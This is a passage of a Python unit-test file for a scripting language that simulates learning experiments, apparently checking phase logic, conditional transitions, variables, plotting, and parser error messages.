phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values['x1'], 1) self.assertTrue(phase.local_variables.values['x2'] in (11, 12)) self.assertTrue(phase.local_variables.values['x3'] in (20, 22, 24)) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e3': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values['x1'], 1) self.assertTrue(phase.local_variables.values['x2'] in (5, 6)) self.assertTrue(phase.local_variables.values['x3'] in (20, 22, 24)) def test_prob_goto_without_else(self): text = ''' n_subjects : 1 behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | x1:1, x2:rand(1,3), b1=5: x:10, B(0.5),C(0.1) | C B e2 | A C e1 | A @run phase_label runlabel:foo ''' run(text) def test_set_and_use_variable_on_same_line1(self): text = ''' n_subjects : 1 behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | p1:1, p2:2, p1=42: A | B B e2 | A @run phase_label runlabel:foo ''' script_obj, script_output = run(text) history = script_output.run_outputs['foo'].output_subjects[0].history self.assertEqual(history[::2], ['e1', 'e2'] * 9 + ['e1']) def test_set_and_use_variable_on_same_line2(self): text = ''' n_subjects : 1 behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=10 A e1 | p1:142, p2:2, p1=142: A | B B e2 | A @run phase_label runlabel:foo ''' script_obj, script_output = run(text) history = script_output.run_outputs['foo'].output_subjects[0].history self.assertEqual(history[::2], ['e1'] * 10) def test_response_in_condition(self): text = ''' behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e2=10 A e1 | b1: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e2': 1}) # text = ''' # behaviors : b1, b2 # stimulus_elements : e1, e2 # mechanism : sr # @PHASE phase_label stop:e2=10 # A e1 | b1 and 1==1: A | B # B e2 | A # ''' # phase = parse(text, 'phase_label') # stimulus = phase.next_stimulus(None)[0] # self.assertTrue(stimulus == {'e1': 1}) # stimulus = phase.next_stimulus('b1')[0] # self.assertTrue(stimulus == {'e1': 1}) # stimulus = phase.next_stimulus('b1')[0] # self.assertTrue(stimulus == {'e1': 1}) # stimulus = phase.next_stimulus('b2')[0] # self.assertTrue(stimulus == {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e2=10 A e1 | b1 or b2: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2']) stimulus = phase.next_stimulus(response)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e2=10 A e1 | (b1 or b2) and count(e2)==0: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2']) stimulus = phase.next_stimulus(response)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e2=10 A e1 | ( b1 or (b2) ) and count(e2)==0: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2']) stimulus = phase.next_stimulus(response)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e2=10 A e1 | ( b1 or (b2 and [1,2,3]==[1,2,3]) ) and count(e2)==0: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2']) stimulus = phase.next_stimulus(response)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=101 A e1 | ([1,2,3]==[1,2,3]): A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2']) stimulus = phase.next_stimulus(response)[0] self.assertEqual(stimulus, {'e1': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, None) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=101 A e1 | b1 and count_line(b2)>0: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2', 'b3']) stimulus = phase.next_stimulus(response)[0] if i % 2: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=101 A e1 | b1 and b2>0: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2', 'b3']) stimulus = phase.next_stimulus(response)[0] if i % 2: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=101 A e1 | b1 and b2: A | B B e2 | A ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e1': 1}) for i in range(100): response = choice(['b1', 'b2', 'b3']) stimulus = phase.next_stimulus(response)[0] if i % 2: self.assertEqual(stimulus, {'e1': 1}) else: self.assertEqual(stimulus, {'e2': 1}) stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e2': 1}) text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e1=101 A e1 | [1,2,3]==[1,2,3]: A | B B e2 | A ''' msg = "Error on line 7: Unknown action '[1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = ''' behaviors : b1, b2, b3 stimulus_elements : e1, e2 mechanism : sr @PHASE phase_label stop:e2=10 A e1 | ( b1 or (b2 or {'a':1}=={'a':1}) ) : A | B B e2 | A ''' msg = "Error on line 7: Invalid statement '( b1 or (b2 or {'a':1}=={'a':1}) ) : A'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_conditional_and_unconditional_actions(self): params = ''' behaviors : b1, b2, b3 stimulus_elements : e0, e1, e2, e3 mechanism : sr ''' text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=1, x2=2, b1: x1=x1+1, x2=x2+1, E1 | x1 = x1+2, x2=x2+2, b2: x1=x1+1, E2 | x1=33, E3 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' phase = parse(text, 'phase_label') stimulus = phase.next_stimulus(None)[0] self.assertEqual(stimulus, {'e0': 1}) self.assertEqual(phase.local_variables.values, {'x1': 0, 'x2': 0}) for _ in range(42): stimulus = phase.next_stimulus('b1')[0] self.assertEqual(stimulus, {'e1': 1}) self.assertEqual(phase.local_variables.values, {'x1': 2, 'x2': 3}) stimulus = phase.next_stimulus(choice(['b1', 'b2', 'b3']))[0] self.assertEqual(stimulus, {'e0': 1}) self.assertEqual(phase.local_variables.values, {'x1': 2, 'x2': 3}) for _ in range(42): stimulus = phase.next_stimulus('b2')[0] self.assertEqual(stimulus, {'e2': 1}) self.assertEqual(phase.local_variables.values, {'x1': 4, 'x2': 4}) stimulus = phase.next_stimulus(choice(['b1', 'b2', 'b3']))[0] self.assertEqual(stimulus, {'e0': 1}) self.assertEqual(phase.local_variables.values, {'x1': 4, 'x2': 4}) for _ in range(42): stimulus = phase.next_stimulus('b3')[0] self.assertEqual(stimulus, {'e3': 1}) self.assertEqual(phase.local_variables.values, {'x1': 33, 'x2': 4}) stimulus = phase.next_stimulus(choice(['b1', 'b2', 'b3']))[0] self.assertEqual(stimulus, {'e0': 1}) self.assertEqual(phase.local_variables.values, {'x1': 33, 'x2': 4}) def test_conditional_and_unconditional_actions_exceptions(self): params = ''' behaviors : b1, b2, b3 stimulus_elements : e0, e1, e2, e3 mechanism : sr ''' text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1==0: x2=0, b1: x1=x1+1, x2=x2+1, E1 | x1 = x1+2, x2=x2+2, b2: x1=x1+1, E2 | x1=33, E3 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Multiple conditions ('x1==0' and 'b1') found in 'x1==0: x2=0, b1: x1=x1+1, x2=x2+1, E1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1==0: x2:0, b1: x1=x1+1, x2:x2+1, E1 | x1 = x1+2, x2=x2+2, b2: x1=x1+1, E2 | x1=33, E3 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Multiple conditions ('x1==0' and 'b1') found in 'x1==0: x2:0, b1: x1=x1+1, x2:x2+1, E1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1==0: x2:0, b1: x1:x1+1, x2:x2+1, E1 | x1 = x1+2, x2=x2+2, b2: x1=x1+1, E2 | x1=33, E3 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Multiple conditions ('x1==0' and 'b1') found in 'x1==0: x2:0, b1: x1:x1+1, x2:x2+1, E1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, E1, x1=x1+1 | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Row label(s) must be the last action(s). Found 'x1=x1+1' after row-label." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, E1, x1=x1+1, E2 | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Row label(s) must be the last action(s). Found 'x1=x1+1' after row-label." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | b1: x1=0, x2=0, E1, x1=x1+1, E2 | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Row label(s) must be the last action(s). Found 'x1=x1+1' after row-label." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, E1 | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: The unconditional goto row label 'E1' cannot be continued." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, E1, E2, E3 | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: The unconditional goto row label 'E1,E2,E3' cannot be continued." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, E1, E2, E3 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Invalid condition 'E1,E2,E3'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, x1=x1+1 | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Last action must be a row label, found 'x1=x1+1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, E1, x1==5: E2 | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Found condition 'x1==5' after row label 'E1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:False S | x1 = 0, x2 = 0, E0 E0 e0 | x1=0, x2=0, E1(0.1), x1==5: E2(0.9) | E0 E1 e1 | E0 E2 e2 | E0 E3 e3 | E0 ''' msg = "Error on line 9: Found condition 'x1==5' after row label 'E1(0.1)'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_exceptions(self): params = ''' behaviors : b1, b2 stimulus_elements : e1, e2 mechanism : sr ''' text = params + ''' @PHASE phase_label stop:e1=10 A e1 | p1:1, p2:2, B,A(1.1) B e2 | A ''' msg = "Error on line 8: Invalid condition 'B,A(1.1)'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | p1:1, p2:2, B(1.1),A(1.1) B e2 | A ''' msg = "Error on line 8: Invalid condition 'B(1.1),A(1.1)'. Expected a probability, got '1.1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | b1: x1:1, x2:2, B # Missing else B e2 | A @run phase_label ''' msg = "No condition in 'b1: x1:1, x2:2, B' was met for response 'b2'." with self.assertRaisesMsg(msg): run(text) text = params + ''' @PHASE phase_label stop:e1=10 A e1 | b1 b2 = x3 x4: x1:1, x2:2, B B e2 | A @run phase_label ''' msg = "Error on line 8: Error in expression 'b1 b2 == x3 x4': invalid syntax." with self.assertRaisesMsg(msg): run(text) text = params + ''' @PHASE phase_label stop:e1=10 A e1 | B | C B e2 | A C e1 | A ''' msg = "Error on line 8: The unconditional goto row label 'B' cannot be continued." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | x1:1, b1&5: x2:2, B | C B e2 | A C e1 | A @run phase_label ''' msg = "Error on line 8: Condition 'b1&5' is not a boolean expression." with self.assertRaisesMsg(msg): run(text) text = params + ''' @PHASE phase_label stop:e1=10 A e1 | x1::1, x2:2, B B e2 | A ''' msg = "Error on line 8: Invalid statement 'x1::1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | foo:bar:1, x2:2, B B e2 | A ''' msg = "Error on line 8: Invalid statement 'foo:bar:1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | foo:bar:baz:1, x2:2, B B e2 | A ''' msg = "Error on line 8: Invalid statement 'foo:bar:baz:1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A | b1:B | A B e2 | A ''' msg = "Error on line 8: Condition on help line cannot depend on response." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 S | x:0, A A | b1+cos(x)==2 and x==0:B | A B e2 | A ''' msg = "Error on line 9: Condition on help line cannot depend on response." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 S | x:0, A A | count(b1)==2 or x==0:B | A # Is actually ok, but we should # phase out count(), so never mind B e2 | A ''' msg = "Error on line 9: Condition on help line cannot depend on response." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A | x1:1, x2:2, B, x3:3 | A B e2 | A ''' msg = "Error on line 8: Row label(s) must be the last action(s). Found 'x3:3' after row-label." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A | x0:0, x1:1, x2:2, x3:3 | A B e2 | A ''' msg = "Error on line 8: Last action must be a row label, found 'x3:3'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | b1=6: x1:1, x2:2, x3:3 B e2 | A ''' msg = "Last action must be a row label, found 'x3:3'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A | e1=1: 1x:1, B B e2 | A ''' msg = "Error on line 8: Variable name '1x' is not a valid identifier." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A | x==2:1, B B e2 | A ''' msg = "Unknown action '1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | b1:1, B B e2 | A ''' msg = "Error on line 8: Unknown action '1'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @PHASE phase_label stop:e1=10 A e1 | e2:1, B B e2 | A ''' msg = "Error on line 8: Variable name 'e2' equals a stimulus element name." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @variables glob:0 @PHASE phase_label stop:e1=10 A e1 | x1:1, glob:1, x2:2, B B e2 | A ''' msg = "Error on line 9: Cannot modify global variable inside a phase." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @variables glob:0 @PHASE phase_label stop:e1=10 A e1 | x1:1, count_reset(foo), x2:2, B B e2 | A ''' msg = "Error on line 9: Unknown event 'foo' in count_reset." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @variables glob:0 @PHASE phase_label stop:e1=10 A e1 | x1:1, blaps, x2:2, B B e2 | A ''' msg = "Error on line 9: Unknown action 'blaps'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @variables glob:0 @PHASE phase_label stop:e1=10 A e1 | x1:1, x2, x3:3, B B e2 | A ''' msg = "Error on line 9: Unknown action 'x2'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @variables glob:0 @PHASE phase_label stop:e1=10 A e1 | x1:1, e2, x3:3, B B e2 | A ''' msg = "Error on line 9: Unknown action 'e2'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' @variables glob:0 @PHASE phase_label stop:e1=10 A e1 | x1:1, b2, x3:3, B B e2 | A ''' msg = "Error on line 9: Unknown action 'b2'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = params + ''' behaviors = b1 @PHASE phase_label stop:e1=10 A e1 | x1:1, x2:rand(1,3), b1=5: x:10, B(0.5),C(0.5) B e2 | A C e1 | A @run phase_label ''' msg = "No condition in 'x1:1, x2:rand(1,3), b1=5: x:10, B(0.5),C(0.5)' was met for response 'b1'." with self.assertRaisesMsg(msg): run(text) text = params + ''' behaviors = b1 @PHASE phase_label stop:e1=10 A e1 | x1:1, x2:rand(1,3), b1 = 5: x:10, B(0.5),C(0.5) B e2 | A C e1 | A @run phase_label ''' msg = "No condition in 'x1:1, x2:rand(1,3), b1 = 5: x:10, B(0.5),C(0.5)' was met for response 'b1'." with self.assertRaisesMsg(msg): run(text) text = params + ''' behaviors = b1 @PHASE phase_label stop:e1=10 A e1 | x1:1, x2:rand(1,3), b1 == 5: x:10, B(0.5),C(0.5) B e2 | A C e1 | A @run phase_label ''' msg = "No condition in 'x1:1, x2:rand(1,3), b1 == 5: x:10, B(0.5),C(0.5)' was met for response 'b1'." with self.assertRaisesMsg(msg): run(text) class TestWithPlots(LsTestCase): def setUp(self): pass def tearDown(self): plt.close('all') def test_stopcond_stimulus(self): text = ''' mechanism: sr stimulus_elements: s behaviors: b @phase phase1 stop:s=2 NT s | NT @run phase1 @nplot s ''' run(text) plot_data = get_plot_data() ns = plot_data self.assertEqual(ns['x'], [0, 1, 2, 3, 4]) self.assertEqual(ns['y'], [0, 1, 1, 2, 2]) def test_stopcond_phase_line_label(self): text = ''' mechanism: sr stimulus_elements: s behaviors: b @phase phase1 stop:NT=2 NT s | NT @run phase1 @nplot s ''' run(text) plot_data = get_plot_data() ns = plot_data self.assertEqual(ns['x'], [0, 1, 2, 3, 4]) self.assertEqual(ns['y'], [0, 1, 1, 2, 2]) def test_stopcond_stimulus_with_xscale(self): text = ''' mechanism: sr stimulus_elements: s behaviors: b @phase phase1 stop:s=2 NT s | NT @run phase1 xscale: s @nplot s ''' run(text) plot_data = get_plot_data() ns = plot_data self.assertEqual(ns['x'], [0, 1, 2]) self.assertEqual(ns['y'], [0, 1, 2]) def test_stopcond_stimulus_with_phases(self): text = ''' mechanism: sr stimulus_elements: s behaviors: b @phase phase1 stop:s=2 NT s | NT @phase phase2 stop:s=2 NT s | NT @run phase1, phase2 phases: phase2 @nplot s ''' run(text) plot_data = get_plot_data() ns = plot_data self.assertEqual(ns['x'], [0, 1, 2, 3, 4]) self.assertEqual(ns['y'], [0, 1, 1, 2, 2]) def test_stopcond_phase_line_label_with_xscale(self): text = ''' mechanism: sr stimulus_elements: s behaviors: b @phase phase1 stop:NT=2 NT s | NT @run phase1 xscale: NT @nplot s ''' msg = "xscale cannot be a phase line label in @nplot/@nexport." with self.assertRaisesMsg(msg): run(text) class TestExceptions(LsTestCase): def setUp(self): pass def test_no_label(self): text = ''' @PHASE ''' msg = "@PHASE line must have the form '@PHASE label stop:condition'." with self.assertRaisesMsg(msg): parse(text, '_') def test_wrong_stopcond(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e11=10 L1 e1 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') msg = "Unknown variable 'e11'." phase.next_stimulus(None) with self.assertRaisesMsg(msg): phase.next_stimulus('b1') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e1 L1 e1 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') msg = "Condition 'e1' is not a boolean expression." phase.next_stimulus(None) with self.assertRaisesMsg(msg): phase.next_stimulus('b1') # count is only for line actions. For stop conditions, use b1=5 instead. text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:count(b1)=5 L1 e1 | H1 H1 | L2 L2 e2 | L1 ''' phase = parse(text, 'phase_label') msg = "Unknown variable 'count'." phase.next_stimulus(None) with self.assertRaisesMsg(msg): phase.next_stimulus('b1') def test_no_stopcond(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label L1 e1 | L2 L2 e2 | L1 ''' msg = "@PHASE line must have the form '@PHASE label stop:condition'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_empty_stopcond(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop: L1 e1 | L2 L2 e2 | L1 ''' msg = "Phase stop condition must have the form 'stop:condition'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label blaps L1 e1 | L2 L2 e2 | L1 ''' msg = "Phase stop condition must have the form 'stop:condition'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stopp:e1=10 L1 e1 | L2 L2 e2 | L1 ''' msg = "Phase stop condition must have the form 'stop:condition'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_help_line_with_response(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e1=10 L1 e1 | H H | b1:L1 | L1 ''' msg = "Condition on help line cannot depend on response." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_modify_global_variable(self): text = ''' @variables var1:1, var2:2*var1+1 stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:count(H1)=10 L1 e1 | H1 H1 var1:var1+1 | L2 L2 e2 | L1 ''' msg = "Cannot modify global variable inside a phase." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_unknown_local_variable(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:local_var=5 L0 local_var:y | L1 L1 e1 | L2 L2 e2 | H1 H1 local_var:local_var+1 | L1 ''' phase = parse(text, 'phase_label') msg = "Unknown variable 'y'." with self.assertRaisesMsg(msg): phase.next_stimulus(None) def test_syntax_error_in_expression(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:local_var=5 L0 local_var: 1+/1 | L1 L1 e1 | L2 L2 e2 | H1 H1 local_var:local_var+1 | L1 ''' phase = parse(text, 'phase_label') msg = "Error in expression '1+/1': invalid syntax." with self.assertRaisesMsg(msg): phase.next_stimulus(None) def test_cannot_evaluate_expression(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:local_var=5 L0 local_var: rand(1,) | L1 L1 e1 | L2 L2 e2 | H1 H1 local_var:local_var+1 | L1 ''' phase = parse(text, 'phase_label') msg = "Cannot evaluate expression 'rand(1,)': rand() missing 1 required positional argument: 'stop'." with self.assertRaisesMsg(msg): phase.next_stimulus(None) def test_eval_output_not_number(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:local_var=5 L0 local_var:'foo' | L1 L1 e1 | L2 L2 e2 | H1 H1 local_var:local_var+1 | L1 ''' phase = parse(text, 'phase_label') msg = "Error in expression ''foo''." with self.assertRaisesMsg(msg): phase.next_stimulus(None) def test_invalid_count_reset(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:e2=3 L1 e1 | count(e1)=5 : H | L2 L2 e1 | L1 H count_reset(e1X) | L3 L3 e2 | L1 ''' msg = "Unknown event 'e1X' in count_reset." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_invalid_line_label_in_logic(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE phase_label stop:False # Never stop XL1 e1 | count(b1)>=5 : H | L2 XL2 e1 | L1 XH count_reset(b1) | L3 XL3 e2 | L1 ''' msg = "Unknown action 'H'." with self.assertRaisesMsg(msg): parse(text, 'phase_label') def test_phase_line_contains_only_label(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2 @PHASE thelabel stop:foo XL1 e1 | count(b1)>=5 : H | L2 XL2 XH count_reset(b1) | L3 XL3 e2 | L1 ''' msg = "Phase line contains only label." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_phase_line_label_is_stimulus(self): text = ''' stimulus_elements: e1, e2, FOO behaviors: b1, b2 @PHASE thelabel stop:False FOO e1 | count(b1)>=5 : H | L2 b1 e1 H count_reset(b1) | L3 L3 e2 | L1 ''' msg = "The phase line label 'FOO' coincides with the name of a stimulus element." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_phase_line_label_is_behavior(self): text = ''' stimulus_elements: e1, e2, FOO behaviors: b1, b2, BAR @PHASE thelabel stop:False L1 e1 | count(b1)>=5 : H | b1 b1 e1 | L1 BAR count_reset(b1) | L3 L3 e2 | L1 ''' msg = "The phase line label 'b1' coincides with the name of a behavior." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_duplicate_phase_line_label(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e1 | H H e1 | L1 BAR count_reset(b1) | H L1 e2 | L1 ''' msg = "Duplicate of phase line label 'L1'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_not_parsed(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e1 | H H e1 | L1 BAR count_reset(b1) | H L1 e2 | L1 ''' script = Script(text) script.parse() script_parser = script.script_parser phase_obj = script_parser.phases.phases['thelabel'] with self.assertRaises(Exception): phase_obj.next_stimulus(None) def test_missing_separator(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e1 | L2 L2 e2 ''' msg = "Missing separator '|' on phase line." with self.assertRaisesMsg(msg): parse(text, 'thelabel') def test_unknown_stimulus_element_or_action(self): text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 e11 | L2 L2 e2 | L1 ''' msg = "Unknown action 'e11'." with self.assertRaisesMsg(msg): parse(text, 'thelabel') text = ''' stimulus_elements: e1, e2 behaviors: b1, b2, b3 @PHASE thelabel stop : e1==1 L1 coun_reset(e1) | L2 L2 e2 | L1 ''' msg = "Unknown action 